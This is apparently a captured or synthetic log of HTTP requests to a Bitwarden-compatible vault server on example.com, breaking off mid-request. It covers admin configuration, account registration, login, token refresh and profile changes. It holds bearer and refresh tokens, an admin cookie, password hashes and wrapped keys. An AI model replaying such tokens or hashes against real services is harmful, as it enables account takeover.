"{\"masterPasswordHash\":\"q4vSK61/xBgUNLPLyCUuEsTdPQhQGCinB/TEPUqhvtM=\",\"authenticationData\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterPasswordAuthenticationHash\":\"PFTB756792a9joBcqKKHK61aPajhH+ALhFcnA4VMCms=\"},\"unlockData\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterKeyWrappedUserKey\":\"2.OgRcIevHsEgOV1cRElOkmg==|d17l5F/azddns9F+hOtBi3HoqMXTa2lRZjEXY4/0oP88qCAs9j6TBXbgRiPLh1X6BPVl4/V6miNM+FKtWQeQ88SEgbv341U9ElwxRXhkcWA=|+CMb+HCEBZ8Psva8Z7yctMN91/0sOEOkgAYW6O29k7E=\"},\"masterPasswordHint\":\"powershell profile\"}"}
{"method": "POST", "target": "/admin/config", "headers": ["Host: example.com", "Content-Length: 2555", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI3NDMsImV4cCI6MTc5NDI4Mzk0MywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.FTIEtk4un0CKwO3OLvJ_-tv_4o-Xl5AoRIoeagRLosXQwGK8LN81W6uJpPRxnpiJy7356-xYSEtlnM3tN-PmwikOjweVvIEoFau11knEJPeBtYv7sSV-jrnQKAkRgZSM3Ppj9fn9KzVmSAj_Df3R3zT_j0cDL1q4hrbm9vvomKhv-uwCOqNCmIP1FqOwmnPgkJ519x5FOT80yApR8LEEysauin2ofqBWcMAiE8YppZuiRSHI6XqScf28sxnA1xOjjX0MXUeSjvsjraaJzM5SXibzHRL6CO1XFvqoA4dWSaDcTKu18Q1ssNU6w3sDoKX6MoiridvtAmaW4ms65lOvig", "Priority: u=1, i"], "body": "{\"sends_allowed\":true,\"disable_icon_download\":false,\"signups_allowed\":true,\"signups_verify\":false,\"invitations_allowed\":true,\"emergency_access_allowed\":true,\"email_change_allowed\":true,\"password_hints_allowed\":true,\"show_password_hint\":false,\"http_request_block_non_global_ips\":true,\"disable_2fa_remember\":false,\"authenticator_disable_time_drift\":false,\"require_device_email\":false,\"reload_templates\":false,\"increase_note_size_limit\":false,\"dns_prefer_ipv6\":false,\"sso_enabled\":false,\"sso_only\":false,\"sso_signups_allowed\":true,\"sso_signups_match_email\":true,\"sso_allow_unknown_email_verification\":false,\"sso_pkce\":true,\"sso_auth_only_not_session\":false,\"sso_debug_tokens\":false,\"_enable_yubico\":true,\"_enable_duo\":true,\"_enable_smtp\":true,\"use_sendmail\":false,\"smtp_embed_images\":true,\"smtp_accept_invalid_certs\":false,\"smtp_accept_invalid_hostnames\":false,\"_enable_email_2fa\":false,\"email_2fa_enforce_on_verified_invite\":false,\"email_2fa_auto_fallback\":false,\"user_attachment_limit\":1048576,\"org_attachment_limit\":null,\"user_send_limit\":null,\"trash_auto_delete_days\":null,\"incomplete_2fa_time_limit\":3,\"signups_verify_resend_time\":3600,\"signups_verify_resend_limit\":6,\"password_iterations\":600000,\"icon_redirect_code\":302,\"icon_cache_ttl\":2592000,\"icon_cache_negttl\":259200,\"icon_download_timeout\":10,\"two_factor_remember_days\":30,\"admin_session_lifetime\":20,\"sso_client_cache_expiration\":0,\"smtp_port\":587,\"smtp_timeout\":15,\"email_token_size\":6,\"email_expiration_time\":600,\"email_attempts_limit\":3,\"domain\":\"https://example.com\",\"fill_assist_rules_url\":\"https://fillassist.bitwarden.com\",\"hibp_api_key\":null,\"signups_domains_whitelist\":\"example.com,example.org\",\"org_creation_users\":null,\"admin_token\":\"example-admin-token\",\"invitation_org_name\":\"powershell vault\",\"ip_header\":\"X-Real-IP\",\"ip_header_trusted_proxies\":\"local\",\"http_request_block_regex\":null,\"log_timestamp_format\":\"%Y-%m-%d %H:%M:%S.%3f\",\"allowed_iframe_ancestors\":null,\"allowed_connect_src\":null,\"sso_client_id\":null,\"sso_client_secret\":null,\"sso_authority\":null,\"sso_scopes\":\"email profile\",\"sso_authorize_extra_params\":null,\"sso_audience_trusted\":null,\"sso_callback_path\":\"https://example.com/identity/connect/oidc-signin\",\"sso_master_password_policy\":null,\"yubico_client_id\":null,\"yubico_secret_key\":null,\"yubico_server\":null,\"duo_ikey\":null,\"duo_skey\":null,\"duo_host\":null,\"smtp_host\":null,\"smtp_security\":\"starttls\",\"smtp_from\":null,\"smtp_from_name\":\"ls -la and .htaccess vault\",\"smtp_username\":null,\"smtp_password\":null,\"smtp_auth_mechanism\":null,\"helo_name\":\"vault.example.com\"}"}
{"method": "POST", "target": "/identity/accounts/register/send-verification-email", "headers": ["Host: example.com", "Content-Length: 92", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: b69341f5-c05b-4378-9c35-fe1043bfade3", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3.dev@example.com\",\"name\":\"powershell admin\",\"receiveMarketingEmails\":false}"}
{"method": "POST", "target": "/identity/accounts/register/finish", "headers": ["Host: example.com", "Content-Length: 3348", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: b69341f5-c05b-4378-9c35-fe1043bfade3", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3.dev@example.com\",\"masterPasswordHint\":\".htaccess\",\"userAsymmetricKeys\":{\"publicKey\":\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyLtb645AK3eNDoCEXKuM4hMd5CjQJPRinz/JPtPuy3mvpWjHciM1UhC6qKHk/VYpBKMWSEP+DuaNtCwYU6yhWyqlfLeKiBx1t/vUkLG8Qk4TR3c0rGXnez9WK+fhTfh/tIoXEqKfXH9cFlPBHO3fKXlPQbb3OCHqu3mdWjZ+jjUOp3PgStVLNHyzEJ0oU0UkX0VVqAEzakH37xcvwHZAuea7jBmgc9mBPF5S13UmILA01IiGyEuBoJopwvZguz6msacO2SqymRYfDGBYXY4Cl7pKViV0BBZFPGFbszLrC3KzaHRY2Tplz+ZeJQNx2owf31TQ8/Tc/CdlL/qO4NwLmwIDAQAB\",\"encryptedPrivateKey\":\"2.iB6ZSQawm9h1pyTq/ZG5YA==|zHrGu+3csp1X5paJOAp8NQWrZIOkycjtXNHrzoLi52RnRjt2HPDchYv5dNGzVtI517ErK1w+cgPw5/B5zPDwHGJUjckJBhXQ3cTzrdrBUjbkDBlGHLICnyb8NpbiWkdr0jUQLkCqcUpQulyyDjl1zPhXnIMhmv1fEqYw9qrk0jGcjDCvND80RvGg0lNnns3a1WKXoV0OazXl4pCXRRGMfDR477eAvcE0olKyeiZcEdfHmfjV4ysm4l/pUfpkRNQz3QPV1Agc/UT6Ji6TrYz8aicBIVZBYI9QfhGxG0qYrNqjBYkkq4ui1i7Feeqdo1eeAfLoT3L2otAnuObOy6RNAyDujg9IiEYterFzU+X6cN97dtzphqZOY/PpWJp0nmApZNqj8dz3EA3ibg5M4VFCMICqBxmV8cZNfllC3leIExtFyi1SDjpySc8RyJ3gTrm1OfjCMFOsBTMARAoRahRT8VEvvm1l92tnLTBbizfjoIggA5JJ0miGZobRo+jePw9Bhl15Uu3NwqH4OGXLLJ6IzCAlzipRQdd2Y2LfaLMCuMl3njHFNbd1rTQv3c1LPWQAWPQvjXDUx4zodraBRnGiLtTsTjCVJ/YSExIrQkMvWJd/NYRGo3+E/WNmzUn8Few11rY+JxyKw4TbW+IVSsqBOG69gxCO2YI65v9nSVhmAf63fyVDJA5ZgUP+Yo/RiJyZNa8yK3J6bn8OAUYWu4yX5ZEL3UJ8jO76PuNzOXK4kIB5HL8hcBv1KS/qc6/tQ7efuePG1N1+a7I+OWa3PuLKCBL/EAiLgnyO28YXoBkBTqWA/7noXVr3bwNpc0gX2jQVFVQHpGYajPwczBVMlkXZXBoaJbixfzNmZnLg+vdYBvwv0QNeDepJntqDT+gE3ibKIK2aM+HwWtJajurjm5S+iwfeCuXA+BA8CRaZIn5VQKVoTwLGc6iJ2oeVHEydyTrxunN6uk8xMKP3J4W1xItzr2e4IssVqDCspKoAasL5OBoCxWnAebkuqM0HlzuJbixR4snc3biwZVzE//dPy1WYIN1zm8b3UqYn+LkntfO6IT6FOl1TxlVUGmfEuZwm8auoFtiEbNub0VwkuzzsEshKR25y5vMOBoBKcjQ/zieai2pf1axfRcXBnbgynv6CKKf5jOEUVW15URVCnZFRTFLfGwuNiyhC0Nxx4fgLao9JXm/bQNJjpdgFp9LuaUN0Mq20vx2zbkuo0j4aH3RsnkFIcH55SN4r6eVf651GNhGQ5ccwYUltMm1IZGXAEBpv+EJ2+5B4WDGZmA+UtbqoMPmdfe1d0cIdcJ1xocZrCYVUKs8DjUamQ4iiD8OCMLuXR9iokij9HLJtPTQBIjds+xjdAz6XoVuzOhqjtR/dWm385wbeLpNLj1dPflRaYkajn9XEz/8Flw/CM2r2UJcfgC7uVR58Loiwo0QziF/Of8HyU4qVbnoxl9zQRud/4IUZWWEEFzaYwYSuQvRT44n6DPKuLGfjO7EK6s/lit2Ln9lZKKgb3nW5BaZjh8KyXyU1MMKD0xXiry5oy/J097KhoMvXJup0EgdKtnKnnT5kkZ2YY+DJW416Ej7pnErR1bP4cDw98s43d9fCMOyvgn9byIKJ/YGlihUOrN0+Fqn5dWnOxsE=|9eW/HWKZYv/rst6wsqzjFwBBfjckKPOO14MLcOPdUL4=\"},\"masterPasswordAuthentication\":{\"salt\":\"python3.dev@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterPasswordAuthenticationHash\":\"ovyYZWijzy8e/C940Ikcn1iF/kRKLGBQbXmhBC/I+ZU=\"},\"masterPasswordUnlock\":{\"salt\":\"python3.dev@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterKeyWrappedUserKey\":\"2./xh7dFvPMQmV4/EirH8fLA==|qS9IxqClHjFuMSyAW5Ao2fiO4C24j5HMig4ZfUEmU1sW0BbxTMNTSo/1q8sQ3DS6D76NAXDzxicubqhr1vYTNRaVk7RGDISG95IQgYqgcl4=|AoT4BslDLHng16p1QQ3QeCCqujVSVmlNL54W568W2bk=\"},\"emailVerificationToken\":\"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI4ODQsImV4cCI6MTc5NDI4NDY4NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxyZWdpc3Rlcl92ZXJpZnkiLCJzdWIiOiJweXRob24zLmRldkBleGFtcGxlLmNvbSIsIm5hbWUiOiJwb3dlcnNoZWxsIGFkbWluIiwidmVyaWZpZWQiOmZhbHNlfQ.YQnKOLP4YKEERu7G2UFsq2HldBEbby7aNduheU5vjir2z_r60Iwnjdjez8U_ixgbTNDwMU2YNzZNv6e6DaVB_4_1nHJt1m4inYlv_vvjD5E2aUDMww4iWb0zr2g_llq3XlKaXtbkfJVvZNJ8njckr7rOJgD-fTHkXDe_2h7r0T7jwSafhan1arZmfiKYdLYY2l9mU-vRrE-N0RmOs7H1ZQUAeTrX_A3KcgK0oMwEkCsZx0kGWJkDZs0xYEGlewbr82d5SPlv2k78GjyzogKWvJs8glHZpwUTBCeiu1jco7mLSDxWN-TQyUhQY-wtmTkv2CBT0ivjGERCKJzVWjIdoA\"}"}
{"method": "POST", "target": "/identity/accounts/prelogin/password", "headers": ["Host: example.com", "Content-Length: 35", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: b69341f5-c05b-4378-9c35-fe1043bfade3", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3.dev@example.com\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 246", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=b69341f5-c05b-4378-9c35-fe1043bfade3&deviceName=unknown&grant_type=password&username=python3.dev%40example.com&password=ovyYZWijzy8e%2FC940Ikcn1iF%2FkRKLGBQbXmhBC%2FI%2BZU%3D"}
{"method": "POST", "target": "/api/accounts/key-management/user-key-id", "headers": ["Host: example.com", "Content-Length: 48", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI4OTEsImV4cCI6MTc5NDI5MDA5MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6IjQ0OTM0Mjg2LWVhNzYtNDNjMy05YTJmLTFhYzRiYTVhY2YxNSIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJwb3dlcnNoZWxsIGFkbWluIiwiZW1haWwiOiJweXRob24zLmRldkBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiI4OTZlNzk3ZC1kYmVmLTRjYjctODQzNi05Y2ZkYzRmMTUxNWIiLCJkZXZpY2UiOiJiNjkzNDFmNS1jMDViLTQzNzgtOWMzNS1mZTEwNDNiZmFkZTMiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.Kp43tJ3hssLaXnAx7W75fCpL1UZKvXV31ASpVeUQrlie54hx7DWXBCWjb_HIA64xiPrmCw3QhyhDA4BXlqSJljNLmg_h5022joA5HequCB2sgo9dd9MKaB0EO6oqb3v0gA5e8Gpo49ZV12vF7nMW-MTP82g9-OspQVSfNARGd7e8BOpwQzq4ZYmxvMAMgl9HMXHxFfsAzq5PQCyqR1vEp6iS7uapbTWbrvkosDFWEHVhmrPGTkB3uR5Lfht46iQNJ4aA0KQFdPFDec8iwuob4Couj90xov1hdZc77bgxHg6qvzE4_0HutXPZ5jyxGQmogdMJMlx0DDCB9pAjZeoG9g", "Device-Type: 14", "Device-Identifier: b69341f5-c05b-4378-9c35-fe1043bfade3", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"userKeyId\":\"3792b4ab9863972f1f7f5bf6ded0b595\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI4OTEsImV4cCI6MTc5Njg3NDg5MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiS0VQUnZkdy1TQVk3UzZaX05PV2ZNb1ZiRURjejZTTDFsSWVIckRnbkUtRWFBaFFVdGlfYWFPSGZ6M2VkRy1nZzlkRmI0YkpqRW5oSC1tcVdRLTB5c0E9PSIsInRva2VuIjpudWxsfQ.MwoZxAVoW7_XPkjPiHjTmqKKhYFOMTDY5xZFTwRCyZeD1TRufNxTlHkZrc_BZJjA32bk6XZKb4b-lSQjIKWftorUEX3gsKqH9E-0GKc2sLR8BGpqpj-iVevcG8VzCjknBJHLG5iRbh2vm2tuxWyNU_sRa9dTI6T1kJh-qv-mxdyujGKJIkbQ6zHxtO3j2XIaL38eywUC3cXTgsvlFwTovs0lQzMEm3cM-hNPdjQTxvJ4Re1IAPHD6-LT6bOXpUG9Oyr0vqgeO68FsBofmCOft6ihzyNne5qE1vAtEOx3uuzG_J3SXn4NyazZgjf6pBO31EkevRkjNCDSMFsIXbTN8w"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=ccc6e0e6-3020-4dd9-bd8a-458eec6dadb3&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "PUT", "target": "/api/accounts/profile", "headers": ["Host: example.com", "Content-Length: 49", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"culture\":\"en-US\",\"name\":\".htaccess powershell\"}"}
{"method": "POST", "target": "/api/accounts/email-token", "headers": ["Host: example.com", "Content-Length: 111", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"newEmail\":\"powershell.alice@example.com\",\"masterPasswordHash\":\"PFTB756792a9joBcqKKHK61aPajhH+ALhFcnA4VMCms=\"}"}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users?includeGroups=true", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 